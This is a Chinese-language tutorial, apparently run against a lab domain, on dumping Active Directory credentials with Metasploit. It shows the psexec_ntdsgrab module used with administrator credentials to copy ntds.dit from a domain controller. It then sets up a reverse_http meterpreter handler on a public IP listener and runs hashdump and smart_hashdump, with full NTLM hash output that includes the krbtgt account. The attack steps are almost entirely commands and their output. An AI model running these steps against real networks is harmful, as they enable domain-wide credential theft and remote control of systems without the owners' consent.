

MSF读取ntds.dit文件

离线读取

离线读取使用msf读取ntds文件，前提是msf必须和域控相同，我们可以使用代理技术，将msf代理到内网，然后使用msf导出ntds文件

1、使用导出模块进行导出

```
use auxiliary/admin/smb/psexec_ntdsgrab
```

2、填写相关的选项，主要有 IP,域，用户名和密码

```
set RHOSTS 192.168.41.10
set SMBDomain hack.com
set smbuser administrator
set smbpass "123456kl;'/"
```

```
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options

Module options (auxiliary/admin/smb/psexec_ntdsgrab):

  Name                Current Setting  Required  Description
  --                -
  CREATE_NEW_VSC       false            no        If true, attempts to create a volume shadow copy
  RHOSTS               192.168.41.10   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT               445              yes       The SMB service port (TCP)
  SERVICE_DESCRIPTION  no              no        Service description to be used on target for pretty listing
  SERVICE_DISPLAY_NAME no              no        The service display name
  SERVICE_NAME         no              no        The service name
  SMBDomain            hack.com         no        The Windows domain to use for authentication
  SMBPass              123456kl;'/     no        The password for the specified username
  SMBSHARE             C$              yes       The name of a writeable share on the server
  SMBUser              administrator    no        The username to authenticate as
  VSCPATH              no              no        The path to the target Volume Shadow Copy
  WINPATH              WINDOWS         yes       The name of the Windows directory (examples: WINDOW S, WINNT)
```

```
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > █
```

2、运行之后 ntds和system文件会被保存到/root/.msf4/loot下

```
[*] Running module against 192.168.41.10

[*] 192.168.41.10:445 - Checking if a Volume Shadow Copy exists already.
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - No VSC Found.
[*] 192.168.41.10:445 - Creating Volume Shadow Copy
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[+] 192.168.41.10:445 - Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - Checking if NTDS.dit was copied.
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[+] 192.168.41.10:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 192.168.41.10:445 - Downloading ntds.dit file
```

3、在相应的目录下找到该文件

```
(root@kali) - [~/msf4/loot]
# ls
20220927044218_default_192.168.41.10_psexec.ntdsgrab._168305.dit  20220927044300_default_192.168.41.10_psexec.ntdsgrab._132561.bin
```

4、使用相应的工具读取该文件即可

在线读取

1、使用cs或者其他的方式先上线的msf中使用派生会话的方式

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 本机ip
set lport 接受的端口
exploit 执行
```

Payload options (windows/meterpreter/reverse_http):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', s
LHOST	118.178.134.226	yes	The local listener hostname
LPORT	9987	yes	The local listener port
LURI		no	The HTTP Path

Exploit target:

Id	Name
0	Wildcard Target

msf6 exploit(multi/handler) > run

```
[-] Handler failed to bind to 118.178.134.226:9987
[*] Started HTTP reverse handler on http://0.0.0.0:9987
```

2、拿到shell之后执行hashdump，如果不能执行就迁移进程到64位中

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cfe3e2ff506a887df7fc15735cedfb9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc:::
WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda:::
PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1:::
WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96:::
2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917:::
2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7:::
```

3、或者使用下面的脚本，也可以读取域内的hash

```
post/windows/gather/smart_hashdump
```

```
msf6 post(windows/gather/smart_hashdump) > run

[*] Running module against DC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220927170249_default_192.168.41.10_windows.hashes_808937.txt
[+] Host is a Domain Controller
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cfe3e2ff506a887df7fc15735cedfb9
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11
[+] wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+] zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+] khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
[+] ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d
[+] DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc
[+] WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda
[+] PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1
[+] WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96
[+] 2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917
[+] 2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7
[*] Post module execution completed
msf6 post(windows/gather/smart_hashdump) > █
```